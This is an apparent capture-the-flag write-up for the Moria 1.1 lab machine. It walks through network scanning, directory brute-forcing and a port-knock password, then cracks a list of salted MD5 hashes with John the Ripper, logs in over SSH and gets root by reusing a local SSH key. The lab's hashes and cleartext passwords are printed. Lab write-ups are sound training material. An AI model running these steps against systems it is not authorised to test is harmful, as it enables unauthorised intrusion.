🗿Moria: 1.1 — OSCP Raw | NullyBlissful

“I am not a body. I am not even the mind.”

This image is not relevant to room.

INTRO: Moria: 1.1 is pure OSCP manual exploitation chaining LOTR Easter egg → FTP access → Base64 file → salted MD5 John the Ripper → SSH → .ssh/known_hosts localhost root key reuse. No automation - Wireshark TCP flags → ASCII password discovery. Classic pen testing creativity!

I used arp-scan to identify the machine’s IP address.

sudo arp-scan --interface=enp0s3 --localnet

🔍 NMAP SCAN

nmap -v -p- -T4 192.168.100.48 -Pn 
nmap -v -sV -sC -T4 -p21,22,80 192.168.100.48 -Pn

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.0.8 or later
22/tcp open  ssh     OpenSSH 6.6.1 (protocol 2.0)
| ssh-hostkey: 
|   2048 47:b5:ed:e3:f9:ad:96:88:c0:f2:83:23:7f:a3:d3:4f (RSA)
|   256 85:cd:a2:d8:bb:85:f6:0f:4e:ae:8c:aa:73:52:ec:63 (ECDSA)
|_  256 b1:77:7e:08:b3:a0:84:f8:f4:5d:f9:8e:d5:85:b9:34 (ED25519)
80/tcp open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Gates of Moria

🌐 Enumerating HTTP

Starting with HTTP, The application exposes index.php page here with one image, nothing in the source code.

When i try to search on the google lens it give me this

This is J.R.R. Tolkien’s original drawing of the Doors of Durin, also known as the West Gate of Moria, from The Lord of the Rings. The image includes the iconic Elven-door design with a description below it in English.The text describes the inscription on the door as being in the Feänorian characters (Tengwar script) according to the mode of Beleriand.

It provides the Elvish phrase: “Ennyn Durin Aran Moria: pedo mellon a minno”.It identifies the creators of the door and its script: “Im Narvi hain echant: Celebrimboro Eregion teithant i thiw hin”.

The door was a symbol of friendship between the Dwarves of Khazad-dûm (Moria) and the Elves of Eregion in the Second Age.

Translation: Here is written in the Feänorian characters according to the mode of Beleriand: The Doors of Durin, Lord of Moria. Speak friend and enter. I, Narvi, made them: Celebrimbor of Eregion drew these signs.

I run the gobuster scan here and found the w directory here. Which leads to the /the_abyss/index.php page.

gobuster dir -u http://192.168.100.48/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt,sh,db -t 64 --no-error

http://192.168.100.48/w/h/i/s/p/e/r/the_abyss/

On the_abyss/index.php it give the random about but of some fix strings. Means the output is rotating but there sequence of random, I again run the gobuter here.

gobuster dir -u http://192.168.100.48/w/h/i/s/p/e/r/the_abyss/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt -t 64 --no-error

And found the random.txt and that is the file where the /index.php taking there content.

http://192.168.100.48/w/h/i/s/p/e/r/the_abyss/random.txt

PLOT

Listening refers to capturing packets with Wireshark. The TCP flag sequence reveals ASCII values that decode to the password.

What now!! here i got stuck or a bit long now the text give two main hits, first Knock and listening. I stated Wireshark and stated capturing the request form the browser. And found the Red typically flags packets matching Wireshark’s default “Bad TCP”. Which have the fix sequence of the port. Ever port is send request to 1337.

77 101 108 108 111 110 54 57

The sequence here i thought was for the port knock but the ports are on to top like there are pre define servers to these ports. This also looks like ASCII value, when converted to text it give the “Mellon69”. This look like a password probably to the FTP or SSH.

🚪 FTP Initial Access

Banner grabbing in FTP. Reveals “Welcome Balrog!”. The username as the banner says it is Balrog and Password is Mellon69, 230 Login Successful.

ftp 192.168.100.48
User: Balrog
Password: Mellon69

After doing the file enumeration there is one directory in the /var/www/html , which is QlVraKW4fbIkXau9zkAPNGzviT3UKntl/. Browse to below URL.

http://192.168.100.48/QlVraKW4fbIkXau9zkAPNGzviT3UKntl/

At this page it gives the passkey that is in MD5 and The source code give the salt of MD5 Hash.

🔑 User Pivoting

Arranging the hash, username and the salt in the order for the John the Ripper, and save it in file named hash.

username:MD5hash:salt

Telchar:dd272382909a4f51163c77da6356cc6f$tb9AWe
Thrain:7db5040c351237e8332bfbba757a1019$h8spZR
Dain:6a113db1fd25c5501ec3a5936d817c29$cC5nTr
Nain:fec21f5c7dcf8e5e54537cfda92df5fe$HCCsxP
Fundin:c789ec9fae1cd07adfc02930a39486a1$g9Wxv7
Maeglin:6ba94d6322f53f30aca4f34960203703$e5ad5s
Ori:8c3c3152a5c64ffb683d78efc3520114$HnqeN4
Oin:727a279d913fba677c490102b135e51e$bQkChe
Balin:c2d8960157fc8540f6d5d66594e165e0$6MAp84

Now stated the john to crack the hash

john --form=dynamic_6 --wordlist=/usr/share/wordlists/rockyou.txt hash

The only user that can login through the SSH here is user Ori. Log into SSH.

ssh Ori@192.168.100.48
Password: spanky

🔼 Privilege Escalation

There is poem.txt on the Ori home directory that says.

Ho! Ho! Ho! to the bottle I go To heal my heart and drown my woe. Rain may fall and wind may blow, And many miles be still to go, But under a tall tree I will lie, And let the clouds go sailing by.

The .ssh directory have the know_hosts, the know_hosts stores public host keys of SSH servers machine previously connected. This might be root user.

ssh root@127.0.0.1 -i id_rsa

🏁 Root Flag

cat /root/flag.txt

🗿From NullyBlissful

“I am not a body, I am not even the mind.”

Next up: coming from NetSecFocus Trophy Room.

Follow me on Medium for write‑ups, red teaming, CTFs, and cyber‑alchemy, and check out my tools and scripts on GitHub: github.com/MayanSuthar.

🌿Remember: The desire for more positive experience is itself a negative experience. And, paradoxically, the acceptance of one’s negative experience itself a positive experience.